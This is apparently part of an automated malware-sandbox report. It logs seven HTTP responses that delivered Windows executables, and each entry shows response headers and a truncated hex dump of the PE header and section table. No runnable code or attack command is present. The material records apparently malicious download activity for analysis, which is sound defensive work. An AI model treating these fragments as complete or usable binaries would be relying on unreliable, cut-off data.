Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 07:24:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 07:25:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 07:25:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 07:25:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 07:25:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 07:25:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 07:25:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
